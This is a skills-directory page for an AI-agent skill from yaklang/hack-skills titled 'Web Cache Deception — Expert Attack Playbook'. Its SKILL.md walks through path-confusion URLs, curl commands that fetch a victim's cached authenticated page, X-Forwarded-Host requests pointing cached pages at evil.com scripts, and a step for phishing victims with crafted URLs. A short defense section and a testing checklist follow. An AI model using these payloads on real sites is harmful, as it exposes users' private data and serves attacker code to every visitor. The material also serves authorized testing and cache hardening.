web-cache-deception
Web cache deception and poisoning playbook. Use when CDN, reverse proxy, or application caching may serve sensitive authenticated content to other users due to path confusion or cache key manipulation.
- Installs
- 3.6K
- Last 24h
- +16
- Trending rank
- #6643
- Security
- Not audited
Install
Works with every agent the skills CLI supports.
npx skills add https://github.com/yaklang/hack-skills --skill web-cache-deception- 01
Install
Run the command in your project. The CLI asks which agents to install for.
- 02
Describe the task
Ask your agent for something this skill covers. It loads web-cache-deception automatically when relevant.
- 03
Review the result
The agent follows the SKILL.md steps, scripts and references bundled with the skill.
SKILL.md
The instructions your agent reads when the skill is triggered.
SKILL: Web Cache Deception — Expert Attack Playbook
AI LOAD INSTRUCTION: Web cache deception and poisoning techniques. Covers path confusion attacks, CDN cache behavior exploitation, cache key manipulation, and the distinction between cache deception (steal data) and cache poisoning (serve malicious content). Presented by Omer Gil at Black Hat 2017 and significantly expanded since.
Advanced Reference
Also load CACHE_POISONING_TECHNIQUES.md when you need:
- Web Cache Poisoning vs Web Cache Deception — clear distinction and attack flow comparison
- Unkeyed header poisoning (X-Forwarded-Host, X-Forwarded-Scheme, X-Original-URL, multiple Host headers)
- Unkeyed parameter poisoning (utm_content, fbclid, callback, reflected but not in cache key)
- Fat GET cache poisoning (body parameters reflected but not keyed)
- Parameter cloaking via semicolons and duplicate parameter parsing differentials
- CDN-specific behavior: Cloudflare, CloudFront, Akamai, Varnish, Fastly (cache key composition, debug headers, ESI)
- Vary header manipulation, cache partitioning attacks, and missing Vary vulnerabilities
1. CORE CONCEPTS
Web Cache Deception (steal authenticated data)
The attacker tricks a victim into requesting their authenticated page at a URL that the cache considers static:
Victim visits: https://target.com/account/profile/nonexistent.css
→ Application ignores "nonexistent.css", serves /account/profile (with auth data)
→ CDN sees .css extension → caches the response
→ Attacker fetches: https://target.com/account/profile/nonexistent.css
→ CDN serves cached authenticated content → attacker reads victim's data
Web Cache Poisoning (serve malicious content)
The attacker manipulates unkeyed request components (headers, cookies) to make the cache store a malicious response:
GET /page HTTP/1.1
Host: target.com
X-Forwarded-Host: evil.com
→ Application generates: <script src="https://evil.com/js/app.js">
→ Cache stores this response
→ Normal users hit cache → load attacker's JavaScript
2. CACHE DECEPTION — ATTACK METHODOLOGY
Step 1: Identify Cacheable Path Patterns
CDNs typically cache by file extension:
.css .js .jpg .png .gif .svg .ico
.woff .woff2 .ttf .pdf .json (sometimes)
Step 2: Test Path Confusion
# Append static extension to authenticated endpoint:
https://target.com/api/me/info.css
https://target.com/account/profile/x.js
https://target.com/settings/avatar.png
https://target.com/dashboard/data.json
# Path traversal style:
https://target.com/account/profile/..%2fstatic/app.css
Step 3: Verify Caching
# Request as victim (authenticated):
curl -H "Cookie: session=VICTIM" https://target.com/account/profile/x.css
# Check response headers:
# X-Cache: MISS (first request)
# Age: 0
# Request again as attacker (no auth):
curl https://target.com/account/profile/x.css
# Check response:
# X-Cache: HIT
# Contains victim's authenticated content? → vulnerable
Step 4: Deliver to Victim
Send the crafted URL to victim via phishing, message, or embed:
https://target.com/account/profile/tracking.gif
3. CACHE POISONING — ATTACK METHODOLOGY
Unkeyed Input Discovery
Cache keys typically include: Host, URL path, query string.
These are typically NOT in the cache key: X-Forwarded-Host, X-Forwarded-Scheme, X-Original-URL, cookies, custom headers.
# Test if X-Forwarded-Host is reflected but not keyed:
curl -H "X-Forwarded-Host: evil.com" https://target.com/page
# If response contains evil.com and caches → poisonable
Common Unkeyed Headers
X-Forwarded-Host X-Forwarded-Scheme X-Forwarded-Proto
X-Original-URL X-Rewrite-URL X-Host
X-Forwarded-Server Forwarded True-Client-IP
Cache Poisoning via Host Header
GET / HTTP/1.1
Host: target.com
X-Forwarded-Host: evil.com
→ Response: <link href="//evil.com/static/main.css">
→ Cached → all users load attacker's CSS/JS
4. PATH NORMALIZATION DIFFERENCES
The key to cache deception: CDN and application normalize paths differently.
| Component | Behavior |
|---|---|
| CDN (Cloudflare, Akamai) | Caches based on full URL path including extension |
| Application (Rails, Django, Express) | May ignore trailing path segments or extensions |
| Reverse proxy (Nginx) | May strip or rewrite path before forwarding |
# Application treats these as equivalent:
/account/profile
/account/profile/anything
/account/profile/x.css
/account/profile;.css
# CDN treats .css as cacheable static asset
→ Mismatch = vulnerability
5. CACHE POISONING REAL-WORLD PATTERN
X-Forwarded-Host → Open Graph / Meta Tag Injection
# Target page uses X-Forwarded-Host to generate meta tags:
GET / HTTP/1.1
Host: target.com
X-Forwarded-Host: evil.com
# Response:
<meta property="og:image" content="https://evil.com/assets/logo.png">
# or:
<link rel="canonical" href="https://evil.com/">
# If response is cached → all users see evil.com references
# Impact: XSS via injected JS path, phishing via canonical redirect, SEO hijack
Cache Deception with Path Separator Tricks
# Semicolon (treated as path parameter by some frameworks):
/account/profile;.css
# Encoded separators:
/account/profile%2F.css
# Trailing dot/space:
/account/profile/.css
/account/profile .css
6. DEFENSE
For Cache Deception
- Cache only explicitly static paths (e.g.,
/static/*,/assets/*) - Never cache based on file extension alone
- Set
Cache-Control: no-store, privateon authenticated endpoints - Use
Vary: Cookieto prevent cross-user cache hits
For Cache Poisoning
- Include all reflected headers in cache key
- Validate and sanitize
X-Forwarded-*headers - Use
Cache-Control: no-cachefor dynamic content - Strip unknown headers at CDN edge
6. TESTING CHECKLIST
□ Identify CDN/cache layer (X-Cache, Age, Via headers)
□ Append .css/.js/.png to authenticated API endpoints
□ Check if response is cached (X-Cache: HIT on second request)
□ Test path separators: /x.css, ;.css, %2F.css
□ Test unkeyed headers: X-Forwarded-Host, X-Original-URL
□ Verify Cache-Control headers on sensitive endpoints
□ Check Vary header presence
□ Test with and without authentication
FAQ
What does the web-cache-deception skill do?
Web cache deception and poisoning playbook. Use when CDN, reverse proxy, or application caching may serve sensitive authenticated content to other users due to path confusion or cache key manipulation.
How do I install web-cache-deception?
Run npx skills add https://github.com/yaklang/hack-skills --skill web-cache-deception in your project. The skills CLI detects the agents you use and copies the skill into the right folder. For Claude Code you can also place the skill folder at ~/.claude/skills/web-cache-deception/ (personal) or .claude/skills/web-cache-deception/ (project).
Which AI agents can use web-cache-deception?
Any agent that supports the open Agent Skills format (a folder with a SKILL.md file), including Claude Code, Codex, Cursor, GitHub Copilot, Gemini CLI, Windsurf, Cline, OpenCode and more.
Is web-cache-deception safe to install?
No partner security audit is available yet. Skills can run commands and scripts, so read the SKILL.md and any bundled files before installing.
Who maintains web-cache-deception?
It is published by yaklang in yaklang/hack-skills. It has 3,627 recorded installs.
More from yaklang/hack-skills
hack
yaklang/hack-skills
Entry P0 primary router and operating doctrine for HackSkills. Use when the task involves web application testing, API security assessment, recon, vulnerability triage, exploit path planning, authorized pentest, code audit, source-leak mining, middleware audit, SOC triage, detection engineering, incident response, or choosing the right next category skill before any deep topic skill. Also use when the user mentions 安全工程师, 渗透测试, 红队, 蓝队, 代码审计, 源码泄露, SRC. Enforce impact-first testing, finish the current asset cluster before expanding, follow half-chains to real control, and require live verification of secrets.
android-pentesting-tricks
yaklang/hack-skills
Android pentesting playbook. Use when testing Android applications for SSL pinning bypass, exported component abuse, WebView vulnerabilities, intent redirection, root detection bypass, tapjacking, and backup extraction during authorized mobile security assessments.
recon-and-methodology
yaklang/hack-skills
Reconnaissance and methodology playbook. Use when mapping assets, discovering endpoints, fingerprinting technology, and building a structured testing plan for a new target.
sqli-sql-injection
yaklang/hack-skills
SQL injection playbook. Use when input reaches SQL queries, authentication logic, sorting, filtering, reporting, or DB-specific blind and out-of-band execution paths.
code-obfuscation-deobfuscation
yaklang/hack-skills
Code obfuscation analysis and deobfuscation playbook. Use when reversing binaries protected by junk code, opaque predicates, self-modifying code, control flow flattening, VM protection, or string encryption.
xss-cross-site-scripting
yaklang/hack-skills
XSS playbook. Use when user-controlled content reaches HTML, attributes, JavaScript, DOM sinks, uploads, or multi-context rendering paths.
Popular other skills
hyperframes-cli
heygen-com/hyperframes
The HyperFrames CLI by job - scaffold, check, look at frames, edit the timeline, preview, render locally or in the cloud, publish, project history - plus reading its JSON and recovering from build or render failures.
triage
mattpocock/skills
Move issues and external PRs through a state machine of triage roles, categorise, verify, grill if needed, and write agent-ready briefs.
ask-matt
mattpocock/skills
Ask which skill or flow fits your situation. A router over the skills in this repo.
to-questionnaire
mattpocock/skills
Turn a decision you can't fully answer into a questionnaire for someone else to fill in.
loop-me
mattpocock/skills
Grill me about specs for the workflows I want to build, within this workspace.